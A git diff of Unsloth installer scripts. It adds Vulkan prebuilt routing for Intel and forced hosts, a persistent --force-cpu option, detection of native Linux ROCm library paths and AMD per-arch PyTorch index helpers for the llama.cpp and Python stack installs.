     # repackage the SO/DLL set (e.g. ggml-org/llama.cpp#23462 split the
     # per-binary entry code into paired ``lib<binary>-impl.so`` shared
     # libraries between b9279 and b9283) without us re-enumerating
-    # every new file. Studio invokes llama-server, llama-quantize, and the
+    # every new file. Unsloth invokes llama-server, llama-quantize, and the
     # DiffusionGemma visual-server (when the bundle ships it, for native
     # DiffusionGemma serving); other CLIs upstream ships (llama-cli,
     # llama-bench, ...) are skipped.
@@ -4515,6 +3771,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
         "linux-arm64-cuda",
         "linux-rocm",
         "linux-arm64",
+        "linux-vulkan",
     }:
         return ["llama-server", "llama-quantize", "llama-diffusion-gemma-visual-server", "lib*.so*"]
     if choice.install_kind in {"macos-arm64", "macos-x64"}:
@@ -4528,6 +3785,7 @@ def runtime_patterns_for_choice(choice: AssetChoice) -> list[str]:
         "windows-cpu",
         "windows-cuda",
         "windows-hip",
+        "windows-vulkan",
         "windows-rocm",
         "windows-arm64",
     }:
@@ -4562,83 +3820,8 @@ def metadata_patterns_for_choice(choice: AssetChoice) -> list[str]:
     return patterns
 
 
-@contextmanager
-def install_lock(lock_path: Path) -> Iterator[None]:
-    lock_path.parent.mkdir(parents = True, exist_ok = True)
-
-    if FileLock is None:
-        # Fallback: exclusive file creation as a simple lock.
-        # Write our PID so stale locks from crashed processes can be detected.
-        fd: int | None = None
-        deadline = time.monotonic() + INSTALL_LOCK_TIMEOUT_SECONDS
-        while True:
-            try:
-                fd = os.open(str(lock_path), os.O_CREAT | os.O_EXCL | os.O_RDWR)
-                try:
-                    os.write(fd, f"{os.getpid()}\n".encode())
-                    os.fsync(fd)
-                except Exception:
-                    os.close(fd)
-                    fd = None
-                    lock_path.unlink(missing_ok = True)
-                    raise
-                break
-            except FileExistsError:
-                # Check if the holder process is still alive
-                stale = False
-                try:
-                    raw = lock_path.read_text().strip()
-                except FileNotFoundError:
-                    # Lock vanished between our open attempt and read -- retry
-                    continue
-                if not raw:
-                    # File exists but PID not yet written -- another process
-                    # just created it. Wait briefly for the write to land.
-                    if time.monotonic() >= deadline:
-                        raise BusyInstallConflict(
-                            f"timed out after {INSTALL_LOCK_TIMEOUT_SECONDS}s waiting for concurrent install lock: {lock_path}"
-                        )
-                    time.sleep(0.1)
-                    continue
-                try:
-                    holder_pid = int(raw)
-                    os.kill(holder_pid, 0)  # signal 0 = existence check
-                except ValueError:
-                    # PID unreadable (corrupted file)
-                    stale = True
-                except ProcessLookupError:
-                    # Process is dead
-                    stale = True
-                except PermissionError:
-                    # Process is alive but owned by another user -- not stale
-                    pass
-                if stale:
-                    lock_path.unlink(missing_ok = True)
-                    continue
-                if time.monotonic() >= deadline:
-                    raise BusyInstallConflict(
-                        f"timed out after {INSTALL_LOCK_TIMEOUT_SECONDS}s waiting for concurrent install lock: {lock_path}"
-                    )
-                time.sleep(0.5)
-        try:
-            yield
-        finally:
-            if fd is not None:
-                os.close(fd)
-            lock_path.unlink(missing_ok = True)
-        return
-
-    try:
-        with FileLock(lock_path, timeout = INSTALL_LOCK_TIMEOUT_SECONDS):
-            yield
-    except FileLockTimeout as exc:
-        raise BusyInstallConflict(
-            f"timed out after {INSTALL_LOCK_TIMEOUT_SECONDS}s waiting for concurrent install lock: {lock_path}"
-        ) from exc
-
-
-def install_lock_path(install_dir: Path) -> Path:
-    return install_dir.parent / f".{install_dir.name}.install.lock"
+install_lock = _core.install_lock
+install_lock_path = _core.install_lock_path
 
 
 def install_staging_root(install_dir: Path) -> Path:
@@ -5225,18 +4408,7 @@ _CPU_TYPE_X86_64 = 0x01000007
 _CPU_TYPE_ARM64 = 0x0100000C
 
 
-def parse_macos_version(value: str | None) -> tuple[int, int] | None:
-    """Parse a macOS product version string into (major, minor).
-
-    Handles "14.7.1", "15.5", "26.0" and bare "26". Returns None when the
-    value is empty or cannot be parsed (callers then defer to runtime
-    validation rather than rejecting every prebuilt)."""
-    if not value:
-        return None
-    match = re.match(r"\s*(\d+)(?:\.(\d+))?", str(value))
-    if not match:
-        return None
-    return int(match.group(1)), int(match.group(2) or 0)
+parse_macos_version = _core.parse_macos_version
 
 
 def host_supports_macos_minos(host: HostInfo, minos: tuple[int, int] | None) -> bool:
@@ -5501,6 +4673,50 @@ def _wsl_system_rocm_lib_dirs() -> list[str]:
     return out
 
 
+def _bundled_hip_present(binary_dir: str) -> bool:
+    if not binary_dir:
+        return False
+    try:
+        # Glob the version suffix (libggml-hip.so, .so.0, .so.0.11.1) the same
+        # way the installer's runtime health check matches libggml-hip.so*.
+        return any(Path(str(binary_dir)).glob("libggml-hip.so*"))
+    except OSError:
+        return False
+
+
+def _native_linux_system_rocm_lib_dirs(binary_dir: str = "") -> list[str]:
+    # UNSLOTH_LLAMA_NO_SYSTEM_ROCM=1 keeps the bundled runtime (opt-out).
+    if os.environ.get("UNSLOTH_LLAMA_NO_SYSTEM_ROCM") == "1":
+        return []
+    if sys.platform != "linux" or os.path.exists("/dev/dxg"):
+        return []
+    if not os.path.exists("/dev/kfd"):
+        return []
+    if not _bundled_hip_present(binary_dir):
+        return []
+    # Env-configured ROCm root first; /opt/rocm only as a fallback so a stale
+    # /opt/rocm doesn't shadow the driver-matching install these vars point at.
+    candidates = []
+    for var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):
+        val = os.environ.get(var)
+        if val:
+            candidates.append(val)
+    candidates.append("/opt/rocm")
+    out: list[str] = []
+    seen: set[str] = set()
+    for base in candidates:
+        for lib_sub in ("lib", "lib64"):
+            d = os.path.join(base, lib_sub)
+            if d in seen:
+                continue
+            seen.add(d)
+            if os.path.exists(os.path.join(d, "libhsa-runtime64.so")) or os.path.exists(
+                os.path.join(d, "libhsa-runtime64.so.1")
+            ):
+                out.append(d)
+    return out
+
+
 # Secrets a downloaded llama.cpp binary never needs; keep them out of binary_env().
 # The installer's own API calls read os.environ directly, so auth is unaffected.
 _SECRET_ENV_EXACT_NAMES = frozenset(
@@ -5661,6 +4877,11 @@ def binary_env(
         if _wsl_rocm:
             ld_dirs = [*_wsl_rocm, *ld_dirs]
             env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
+        # Native Linux AMD: system ROCm libs before the bundle's bundled HIP
+        # runtime, which can be incompatible with the host amdkfd driver.
+        _native_rocm = _native_linux_system_rocm_lib_dirs(str(binary_path.parent))
+        if _native_rocm:
+            ld_dirs = [*_native_rocm, *ld_dirs]
         existing = [part for part in env.get("LD_LIBRARY_PATH", "").split(os.pathsep) if part]
         env["LD_LIBRARY_PATH"] = os.pathsep.join(dedupe_existing_dirs([*ld_dirs, *existing]))
     elif host.is_macos:
@@ -5743,8 +4964,10 @@ def validate_server(
             "linux-cuda",
             "linux-arm64-cuda",
             "linux-rocm",
+            "linux-vulkan",
             "windows-cuda",
             "windows-hip",
+            "windows-vulkan",
             "windows-rocm",
             "macos-arm64",
         }
@@ -6102,7 +5325,7 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
     from asset names."""
     attempts: list[AssetChoice] = []
     if host.has_usable_nvidia:
-        # Prefer the cudart major Studio loads at runtime (torch's bundled
+        # Prefer the cudart major Unsloth loads at runtime (torch's bundled
         # libcudart), not the newest detected on disk. Without this a stray
         # cuda13 runtime outranks the torch cuda12 the binary links against.
         torch_preference = detect_torch_cuda_runtime_preference(host)
@@ -6127,8 +5350,13 @@ def _linux_published_attempts(host: HostInfo, bundle: PublishedReleaseBundle) ->
         # CPU-only host. A usable-NVIDIA host never reaches here -- if its CUDA
         # selection produced nothing we want an empty attempt list so the caller
         # source-builds with CUDA, not a CPU-only binary silently installed on a
-        # GPU host (mirrors the ROCm branch, and Windows NVIDIA).
-        cpu_choice = published_asset_choice_for_kind(bundle, "linux-cpu")
+        # GPU host (mirrors the ROCm branch, and Windows NVIDIA). Only x86_64 and
+        # arm64 have a CPU bundle; any other Linux arch (ppc64le, riscv64, s390x)
+        # has none, so leave attempts empty and source-build rather than hand it
+        # the x86_64 linux-cpu binary (the Linux preflight checks libraries, not
+        # ELF arch, so a wrong-arch binary would not be caught).
+        kind = "linux-cpu" if host.is_x86_64 else "linux-arm64" if host.is_arm64 else None
+        cpu_choice = published_asset_choice_for_kind(bundle, kind) if kind else None
         if cpu_choice is not None:
             attempts.append(cpu_choice)
     return attempts
@@ -6143,9 +5371,9 @@ def _fork_manifest_release_plans(
     max_release_fallbacks: int = DEFAULT_MAX_PREBUILT_RELEASE_FALLBACKS,
 ) -> tuple[str, list[InstallReleasePlan]]:
     """Manifest-reading branch of resolve_simple_install_release_plans, used for
-    the fork's bundles whose GPU/arch coverage lives in
-    llama-prebuilt-manifest.json rather than in the filename: arm64 CUDA, Windows
-    CUDA, per-gfx ROCm, and macOS. Linux x64 takes the faster filename path."""
+    every fork host: all of the fork's bundles describe their GPU/arch coverage
+    in llama-prebuilt-manifest.json rather than in the asset filename (CPU,
+    x64/arm64 CUDA, Windows CUDA, per-gfx ROCm, and macOS)."""
     requested_tag = normalized_requested_llama_tag(llama_tag)
     allow_older_release_fallback = requested_tag == "latest" and not published_release_tag
     release_limit = max(1, max_release_fallbacks)
@@ -6160,6 +5388,9 @@ def _fork_manifest_release_plans(
         llama_tag,
         published_repo,
         published_release_tag,
+        # macOS relies on the multi-release walk-back to skip too-new prebuilts,
+        # which the single-latest download-host path cannot provide.
+        allow_download_host_fast_path = not host.is_macos,
     ):
         bundle = resolved_release.bundle
         checksums = resolved_release.checksums
@@ -6224,6 +5455,7 @@ def write_prebuilt_metadata(
     choice: AssetChoice,
     approved_checksums: ApprovedReleaseChecksums,
     prebuilt_fallback_used: bool,
+    force_cpu: bool = False,
 ) -> None:
     source_asset_name, source_sha256 = selected_source_archive_metadata(
         approved_checksums,
@@ -6248,6 +5480,10 @@ def write_prebuilt_metadata(
         "release_tag": release_tag,
         "published_repo": approved_checksums.repo,
         "asset": choice.name,
+        # True only for a deliberate CPU choice (--force-cpu). The updater re-asserts it
+        # so a forced CPU install is not re-routed to a GPU bundle (#7213). An automatic
+        # --cpu-fallback (e.g. arm64 GPU-build recovery) stays False so it can heal to GPU.
+        "force_cpu": force_cpu,
         "asset_sha256": choice.expected_sha256,
         "source": choice.source_label,
         # Binary-side repo/tag for non-fork sources (e.g. the ggml-org upstream
@@ -6275,6 +5511,24 @@ def write_prebuilt_metadata(
     (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text(json.dumps(metadata, indent = 2) + "\n")
 
 
+def sync_marker_force_cpu(install_dir: Path, persist_force_cpu: bool) -> None:
+    """Sync only the force_cpu flag of an existing marker when the resolved bundle is
+    unchanged, so the install is skipped without a full metadata rewrite. A deliberate
+    --force-cpu on top of a naturally installed CPU bundle (same asset) must still be
+    recorded, else the updater will not re-assert it and can re-route the install to a
+    GPU/Vulkan bundle that revives the crash (#7213)."""
+    marker_path = install_dir / "UNSLOTH_PREBUILT_INFO.json"
+    try:
+        marker = json.loads(marker_path.read_text())
+    except (OSError, ValueError):
+        return
+    if not isinstance(marker, dict) or bool(marker.get("force_cpu")) == persist_force_cpu:
+        return
+    marker["force_cpu"] = persist_force_cpu
+    marker_path.write_text(json.dumps(marker, indent = 2) + "\n")
+    log(f"existing install reused; recorded force_cpu={persist_force_cpu} from this run")
+
+
 def expected_install_fingerprint(
     *,
     llama_tag: str,
@@ -6325,6 +5579,52 @@ def load_prebuilt_metadata(install_dir: Path) -> dict[str, Any] | None:
     return payload
 
 
+def default_managed_llama_dir() -> Path:
+    """The managed llama.cpp install root, mirroring setup.sh and the updater:
+    the UNSLOTH_LLAMA_CPP_PATH override, else <custom studio home>/llama.cpp,
+    else the legacy ~/.unsloth/llama.cpp."""
+    override = (os.environ.get("UNSLOTH_LLAMA_CPP_PATH") or "").strip()
+    if override:
+        return Path(override).expanduser()
+    home = (os.environ.get("UNSLOTH_STUDIO_HOME") or os.environ.get("STUDIO_HOME") or "").strip()
+    if home:
+        root = Path(home).expanduser()
+        legacy_studio = Path.home() / ".unsloth" / "studio"
+        try:
+            is_legacy = root.resolve() == legacy_studio.resolve()
+        except (OSError, ValueError):
+            is_legacy = root == legacy_studio
+        if not is_legacy:
+            return root / "llama.cpp"
+    return Path.home() / ".unsloth" / "llama.cpp"
+
+
+def installed_llama_runtime(install_dir: Path | None = None) -> tuple[Path, str, str] | None:
+    """The completed managed llama.cpp prebuilt install, or None.
+
+    Returns (runtime bin dir holding the ggml libraries, installed release tag,
+    bundle profile). install_whisper_prebuilt.py reads this to pair slim whisper
+    bundles with the ggml runtime the llama install already provides; tests pass
+    an explicit ``install_dir``.
+    """
+    root = install_dir if install_dir is not None else default_managed_llama_dir()
+    metadata = load_prebuilt_metadata(root)
+    if metadata is None:
+        return None
+    release_tag = metadata.get("release_tag")
+    if not isinstance(release_tag, str) or not release_tag:
+        return None
+    # Same layout install_runtime_dir() derives; a marker on disk always
+    # belongs to this host, so the running OS picks the variant.
+    bin_dir = root / "build" / "bin"
+    if os.name == "nt":
+        bin_dir = bin_dir / "Release"
+    if not bin_dir.is_dir():
+        return None
+    profile = metadata.get("bundle_profile")
+    return bin_dir, release_tag, profile if isinstance(profile, str) else ""
+
+
 def runtime_payload_health_groups(choice: AssetChoice) -> list[list[str]]:
     if choice.install_kind in {"linux-cpu", "linux-arm64"}:
         return [
@@ -6361,6 +5661,20 @@ def runtime_payload_health_groups(choice: AssetChoice) -> list[list[str]]:
             ["libmtmd.so*"],
             ["libggml-hip.so*"],
         ]
+    if choice.install_kind == "linux-vulkan":
+        return [
+            ["libllama-common.so*"],
+            ["libllama.so*"],
+            ["libggml.so*"],
+            ["libggml-base.so*"],
+            # Match the sibling globs (linux-cuda/-rocm): x64 bundles ship
+            # arch-suffixed libggml-cpu-<variant>.so, arm64 may ship a bare
+            # libggml-cpu.so; the '-' form missed the latter and re-flagged
+            # the install unhealthy on every check.
+            ["libggml-cpu*.so*"],
+            ["libmtmd.so*"],
+            ["libggml-vulkan.so*"],
+        ]
     if choice.install_kind in {"windows-cpu", "windows-arm64"}:
         return [["llama.dll"]]
     if choice.install_kind == "windows-cuda":
@@ -6380,6 +5694,8 @@ def runtime_payload_health_groups(choice: AssetChoice) -> list[list[str]]:
         return groups
     if choice.install_kind in {"windows-hip", "windows-rocm"}:
         return [["llama.dll"], ["*hip*.dll"]]
+    if choice.install_kind == "windows-vulkan":
+        return [["llama.dll"], ["ggml-vulkan.dll"]]
     return []
 
 
@@ -6504,6 +5820,7 @@ def validate_prebuilt_choice(
     approved_checksums: ApprovedReleaseChecksums,
     prebuilt_fallback_used: bool,
     quantized_path: Path,
+    force_cpu: bool = False,
 ) -> tuple[Path, Path]:
     source_repo, source_ref, source_archive, exact_source = preferred_source_archive(
         approved_checksums, llama_tag
@@ -6544,6 +5861,7 @@ def validate_prebuilt_choice(
         choice = choice,
         approved_checksums = approved_checksums,
         prebuilt_fallback_used = prebuilt_fallback_used,
+        force_cpu = force_cpu,
     )
     # Hashless external prebuilts are not in the approved-sha256
     # manifest and rely on the functional smoke test as their only integrity gate,
@@ -6586,6 +5904,7 @@ def validate_prebuilt_attempts(
     approved_checksums: ApprovedReleaseChecksums,
     initial_fallback_used: bool = False,
     existing_install_dir: Path | None = None,
+    force_cpu: bool = False,
 ) -> tuple[AssetChoice, Path, bool]:
     attempt_list = list(attempts)
     if not attempt_list:
@@ -6638,6 +5957,7 @@ def validate_prebuilt_attempts(
                 approved_checksums = approved_checksums,
                 prebuilt_fallback_used = tried_fallback,
                 quantized_path = quantized_path,
+                force_cpu = force_cpu,
             )
         except Exception as exc:
             remove_tree(staging_dir)
@@ -6661,6 +5981,89 @@ def validate_prebuilt_attempts(
     raise PrebuiltFallback("no prebuilt bundle passed validation")
 
 
+def force_vulkan_requested() -> bool:
+    """Whether UNSLOTH_FORCE_VULKAN opts this host into the Vulkan llama.cpp
+    prebuilt instead of its detected CUDA/ROCm backend (e.g. so an AMD user can
+    run the Vulkan build for inference). Scoped to the llama.cpp backend; the
+    torch/training stack installs separately and still sees the real GPU.
+    """
+    return os.environ.get("UNSLOTH_FORCE_VULKAN", "").strip().lower() in (
+        "1",
+        "true",
+        "yes",
+    )
+
+
+def _vulkan_only_host(host: HostInfo) -> HostInfo:
+    """Rewrite ``host`` so the asset selectors take their Vulkan branch.
+
+    That branch fires on ``has_intel_gpu and not nvidia and not rocm``, so clear
+    the CUDA/ROCm flags and raise the integrated-GPU flag. The synthetic flag
+    never leaves install planning -- it only routes the llama.cpp prebuilt
+    choice, not the torch/training stack.
+    """
+    return dataclasses_replace(
+        host,
+        has_usable_nvidia = False,
+        has_physical_nvidia = False,
+        has_rocm = False,
+        has_intel_gpu = True,
+    )
+
+
+def _route_to_vulkan_prebuilt(
+    host: HostInfo, published_repo: str, published_release_tag: str, *, force_cpu: bool
+) -> tuple[HostInfo, str, str]:
+    """Point a Vulkan-capable host at the upstream ggml-org Vulkan prebuilt.
+
+    The unsloth published repo ships only CUDA/ROCm/CPU assets, so Vulkan comes
+    from UPSTREAM_REPO. Two triggers route here, both suppressed when a CPU flag
+    (--cpu-fallback or --force-cpu, folded into force_cpu) wins:
+      * UNSLOTH_FORCE_VULKAN forces Vulkan over the detected CUDA/ROCm backend;
+      * an auto-detected Intel GPU with NO physical NVIDIA/ROCm -- the purpose
+        of the has_intel_gpu probe, since the fork manifest ships no Vulkan asset.
+    Applied by BOTH the install path and the --resolve-prebuilt probe so the
+    "is a prebuilt available" answer matches what actually gets installed.
+
+    Returns the (possibly rewritten) host, repo, and release tag.
+    """
+    forced = force_vulkan_requested()
+    # Gate auto-routing on no PHYSICAL NVIDIA, not merely no usable one: a mixed
+    # NVIDIA+Intel host that hides NVIDIA with CUDA_VISIBLE_DEVICES=""/-1 keeps
+    # has_physical_nvidia=True while has_usable_nvidia goes False. Vulkan ignores
+    # CUDA_VISIBLE_DEVICES, so auto-routing such a host would let it grab the
+    # reserved NVIDIA GPU. An explicit UNSLOTH_FORCE_VULKAN still overrides.
+    auto_intel = host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm
+    if force_cpu or not (forced or auto_intel):
+        return host, published_repo, published_release_tag
+    if host.is_macos:
+        if forced:
+            log(
+                "UNSLOTH_FORCE_VULKAN is set but ignored on macOS "
+                "(Metal is used; there is no Vulkan prebuilt)"
+            )
+        return host, published_repo, published_release_tag
+    if forced:
+        log(
+            "UNSLOTH_FORCE_VULKAN is set; installing the upstream Vulkan "
+            "llama.cpp prebuilt instead of the detected GPU backend"
+        )
+        # Forcing may override a detected NVIDIA/ROCm host, so normalize it to
+        # Vulkan-only; an auto-detected Intel host already is.
+        host = _vulkan_only_host(host)
+    else:
+        log("Intel GPU detected; installing the upstream Vulkan llama.cpp prebuilt")
+    # Swapping the fork for upstream invalidates a fork release pin: the two use
+    # different tag namespaces (fork b9596-mix-<sha> vs upstream b9596), so a
+    # pinned fork tag would make the upstream resolver query a nonexistent
+    # release and fall back to source. Drop it and let the upstream resolver
+    # pick by the requested llama tag. A pin already on an explicit upstream repo
+    # (repo unchanged here) is preserved.
+    if published_repo != UPSTREAM_REPO:
+        published_release_tag = ""
+    return host, UPSTREAM_REPO, published_release_tag
+
+
 def diffusion_visual_server_backfill_needed(
     install_dir: Path, host: HostInfo, choice: AssetChoice
 ) -> bool:
@@ -6695,7 +6098,11 @@ def install_prebuilt(
     override_has_rocm: bool = False,
     override_rocm_gfx: str | None = None,
     force_cpu: bool = False,
+    persist_force_cpu: bool = False,
+    instruction_cleanup_root: Path | None = None,
 ) -> None:
+    # force_cpu drops GPU detection (mechanism, both --cpu-fallback and --force-cpu);
+    # persist_force_cpu records the deliberate choice so the updater re-asserts it.
     host = detect_host()
     host = _apply_host_overrides(
         host,
@@ -6703,9 +6110,19 @@ def install_prebuilt(
         override_rocm_gfx = override_rocm_gfx,
         force_cpu = force_cpu,
     )
+    host, published_repo, published_release_tag = _route_to_vulkan_prebuilt(
+        host, published_repo, published_release_tag, force_cpu = force_cpu
+    )
     choice: AssetChoice | None = None
+    cleanup_root = install_dir if instruction_cleanup_root is None else instruction_cleanup_root
     try:
         with install_lock(install_lock_path(install_dir)):
+            if (install_dir / "UNSLOTH_PREBUILT_INFO.json").is_file():
+                removed = remove_agent_instruction_files(cleanup_root)
+                if removed:
+                    log(
+                        f"removed {removed} contributor-only agent instruction file(s) from install"
+                    )
             if install_dir.exists():
                 log(
                     f"existing llama.cpp install detected at {install_dir}; validating staged prebuilt update before replacement"
@@ -6714,8 +6131,10 @@ def install_prebuilt(
                 log(
                     f"no existing llama.cpp install detected at {install_dir}; performing fresh prebuilt install"
                 )
-            # Single resolver: linux-x64 takes the fast filename path internally,
-            # every other fork host reads the manifest.
+            # Single resolver: every fork host selects from the release manifest;
+            # an explicit ggml-org override selects by asset filename instead. A
+            # forced-Vulkan host already has published_repo pointed at
+            # UPSTREAM_REPO above, so the resolver takes the Vulkan asset branch.
             requested_tag, release_plans = resolve_simple_install_release_plans(
                 llama_tag,
                 host,
@@ -6734,6 +6153,9 @@ def install_prebuilt(
                         "existing llama.cpp install already matches selected release "
                         f"{current.release_tag} upstream_tag={current.llama_tag}; skipping download and install"
                     )
+                    # Reused bundle is unchanged, but a fresh --force-cpu still must be
+                    # recorded so the updater re-asserts it (#7213).
+                    sync_marker_force_cpu(install_dir, persist_force_cpu)
                     return
             with tempfile.TemporaryDirectory(prefix = "unsloth-llama-prebuilt-") as tmp:
                 work_dir = Path(tmp)
@@ -6754,6 +6176,7 @@ def install_prebuilt(
                                 "existing llama.cpp install already matches fallback release "
                                 f"{plan.release_tag} upstream_tag={plan.llama_tag}; skipping reinstall"
                             )
+                            sync_marker_force_cpu(install_dir, persist_force_cpu)
                             return
                     log(
                         "selected "
@@ -6774,6 +6197,8 @@ def install_prebuilt(
                             initial_fallback_used = release_index > 0,
                             # Skip is gated per-attempt inside, so pass the dir always.
                             existing_install_dir = install_dir,
+                            # Persist only the deliberate choice, not a transient fallback.
+                            force_cpu = persist_force_cpu,
                         )
                     except ExistingInstallSatisfied:
                         return
@@ -6871,8 +6296,21 @@ def parse_args() -> argparse.Namespace:
         default = False,
         help = (
             "Select the CPU prebuilt for this OS/arch even when a GPU is present. "
-            "setup.sh uses this as a last resort for arm64 Linux GPU hosts whose "
-            "source build failed (no arm64 CUDA prebuilt exists anywhere)."
+            "Automatic/transient: setup.sh uses this as a last resort for arm64 Linux "
+            "GPU hosts whose source build failed. Does NOT persist, so a later update "
+            "heals back to a GPU bundle once one is available (#6097). Use --force-cpu "
+            "for a deliberate CPU-only choice that survives updates."
+        ),
+    )
+    parser.add_argument(
+        "--force-cpu",
+        action = "store_true",
+        default = False,
+        help = (
+            "Deliberate CPU-only install (UNSLOTH_LLAMA_CPP_BACKEND=cpu). Drops GPU "
+            "detection like --cpu-fallback but also records force_cpu in the marker, so "
+            "the in-app updater re-asserts CPU and never re-routes to a GPU/Vulkan "
+            "bundle that would revive the Intel iGPU crash (#7213)."
         ),
     )
     resolve_group = parser.add_mutually_exclusive_group()
@@ -6903,8 +6341,8 @@ def parse_args() -> argparse.Namespace:
         const = "latest",
         help = (
             "Report whether an official prebuilt exists for this host without "
-            "downloading. Picks the host's published repo when --published-repo "
-            "is left at the default. Use --output-format json."
+            "downloading. Plans against --published-repo (defaults to the "
+            "fork). Use --output-format json."
         ),
     )
     parser.add_argument(
@@ -6992,27 +6430,26 @@ def main() -> int:
         return EXIT_SUCCESS
 
     if args.resolve_prebuilt is not None:
-        # Host-aware "is a prebuilt available" probe, no download. A default repo
-        # means "pick the repo for this host"; PrebuiltFallback == source build.
+        # Host-aware "is a prebuilt available" probe, no download. Every host now
+        # plans against the fork (args.published_repo defaults to it); an explicit
+        # --published-repo overrides. PrebuiltFallback == source build.
+        # Both flags drop GPU detection; --force-cpu additionally persists (install
+        # path only). The probe only needs the mechanism, so OR them.
+        _cpu_mechanism = args.cpu_fallback or args.force_cpu
         host = _apply_host_overrides(
             detect_host(),
             override_has_rocm = args.has_rocm,
             override_rocm_gfx = args.rocm_gfx,
-            force_cpu = args.cpu_fallback,
+            force_cpu = _cpu_mechanism,
         )
-        # setup.sh routes Linux hosts with AMD tooling to the fork even when no GPU
-        # is probed; mirror that so a HIP source build is not offered a CPU prebuilt.
-        amd_tooling = host.is_linux and any(
-            shutil.which(t) for t in ("rocminfo", "amd-smi", "hipconfig", "hipinfo")
-        )
-        repo = (
-            published_repo_for_host(host, linux_amd_tooling_present = amd_tooling)
-            if args.published_repo == DEFAULT_PUBLISHED_REPO
-            else args.published_repo
+        # Same Vulkan routing the install path applies, so the probe's answer
+        # matches what would install (an Intel/forced-Vulkan host -> upstream).
+        host, repo, release_tag = _route_to_vulkan_prebuilt(
+            host, args.published_repo, args.published_release_tag or "", force_cpu = _cpu_mechanism
         )
         try:
             _requested, plans = resolve_simple_install_release_plans(
-                args.resolve_prebuilt, host, repo, args.published_release_tag or ""
+                args.resolve_prebuilt, host, repo, release_tag
             )
             choice = plans[0].attempts[0] if plans and plans[0].attempts else None
             if choice is None:
@@ -7038,14 +6475,19 @@ def main() -> int:
     # Install path only: route status logs to stdout (see _LOG_TO_STDOUT note).
     global _LOG_TO_STDOUT
     _LOG_TO_STDOUT = True
+    install_arg = Path(args.install_dir).expanduser()
     install_prebuilt(
-        install_dir = Path(args.install_dir).expanduser().resolve(),
+        install_dir = install_arg.resolve(),
         llama_tag = args.llama_tag,
         published_repo = args.published_repo,
         published_release_tag = args.published_release_tag or "",
         override_has_rocm = args.has_rocm,
         override_rocm_gfx = args.rocm_gfx,
-        force_cpu = args.cpu_fallback,
+        # Both drop GPU detection; only --force-cpu (deliberate) is recorded so the
+        # updater re-asserts it. --cpu-fallback stays transient and heals to GPU.
+        force_cpu = args.cpu_fallback or args.force_cpu,
+        persist_force_cpu = args.force_cpu,
+        instruction_cleanup_root = install_arg.absolute(),
     )
     return EXIT_SUCCESS
 
diff --git a/studio/install_node_prebuilt.py b/studio/install_node_prebuilt.py
index 4038216eef..fb40634e95 100644
--- a/studio/install_node_prebuilt.py
+++ b/studio/install_node_prebuilt.py
@@ -6,7 +6,7 @@
 
 Downloads an official Node.js archive from nodejs.org into an isolated
 ``<UNSLOTH_HOME>/node`` and never touches the system Node/npm. Pinning Node 24+
-LTS clears the Studio frontend build floor (Vite 8: Node ^20.19 || >=22.12,
+LTS clears the Unsloth frontend build floor (Vite 8: Node ^20.19 || >=22.12,
 npm >= 11) with the npm it bundles.
 
 Archives are verified against sha256 digests pinned in ``node_prebuilt_pins.json``
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index 439d3ffe7b..a29ba0d7e5 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -44,11 +44,10 @@ IS_MAC_INTEL = IS_MACOS and platform.machine() == "x86_64"
 IS_MAC_ARM = IS_MACOS and platform.machine() == "arm64"
 IS_LINUX = sys.platform.startswith("linux")
 
-# DiskPart-prompt suppression: amd-smi auto-elevates on Windows, popping a
-# UAC/DiskPart prompt mid-install. This installer only spawns probes and pip/uv
-# (none need elevation), so set __COMPAT_LAYER=RunAsInvoker process-wide -- every
-# amd-smi subprocess then runs un-elevated, no per-call guard needed. setup.ps1
-# keeps per-call guards since it ALSO spawns winget installers that need elevation.
+# amd-smi auto-elevates on Windows (UAC/DiskPart prompt mid-install). This installer
+# only spawns probes and pip/uv (no elevation), so set __COMPAT_LAYER=RunAsInvoker
+# process-wide; amd-smi then runs un-elevated. setup.ps1 keeps per-call guards (it
+# also spawns winget installers that need elevation).
 if IS_WINDOWS:
     os.environ.setdefault("__COMPAT_LAYER", "RunAsInvoker")
 # torchcodec ships wheels only for manylinux_2_28_x86_64, macosx_12_0_arm64,
@@ -74,6 +73,35 @@ _ROCM_TORCH_INDEX: dict[tuple[int, int], str] = {
     (6, 0): "rocm6.0",
 }
 
+
+def _generic_pytorch_rocm_tag(ver: tuple[int, int]) -> str | None:
+    """Newest download.pytorch.org rocmX.Y tag for a host ROCm version."""
+    return next(
+        (t for (maj, mn), t in sorted(_ROCM_TORCH_INDEX.items(), reverse = True) if ver >= (maj, mn)),
+        None,
+    )
+
+
+_ROCM_ARCH_INDEX_FLOOR = (7, 13)  # AMD per-arch index ships torch 2.11+rocm7.13
+
+
+def _strix_needs_amd_arch_index(ver: tuple[int, int]) -> bool:
+    """True when Strix's generic pytorch.org index sits below the AMD arch floor
+    (7.13), so gfx1150/1151 must use repo.amd.com's per-arch wheels. Mirrors
+    install.sh _rocm_leaf_below: reroute any generic rocm index (6.x/7.0/7.2 and a
+    future 7.3+), never one at/above the floor."""
+    key = next((k for k in sorted(_ROCM_TORCH_INDEX, reverse = True) if ver >= k), None)
+    return key is not None and key < _ROCM_ARCH_INDEX_FLOOR
+
+
+# AMD per-arch leaves needing the torch 2.11 floor (the _grouped_mm <2.11 bug).
+# Mirrors *FloorMap in install.ps1 / setup.ps1; other arches ship <2.11 and stay bare.
+_ROCM_GFX_TORCH211_LEAVES: frozenset[str] = frozenset({"gfx120x-all", "gfx1151", "gfx1150"})
+
+# pytorch.org rocmX.Y indexes KNOWN to ship torch 2.11 (rocm7.2 only today); don't
+# floor an unknown newer rocm speculatively. Match install.sh / setup.ps1 / install.ps1.
+_ROCM_KNOWN_TORCH211_VERSIONS: frozenset[tuple[int, int]] = frozenset({(7, 2)})
+
 # Per-tag pip specs; rocm7.2 ships torch 2.11.0 (older tags cap at 2.10.x).
 _ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
     "rocm7.2": (
@@ -81,18 +109,16 @@ _ROCM_TORCH_PKG_SPECS: dict[str, tuple[str, str, str]] = {
         "torchvision>=0.26.0,<0.27.0",
         "torchaudio>=2.11.0,<2.12.0",
     ),
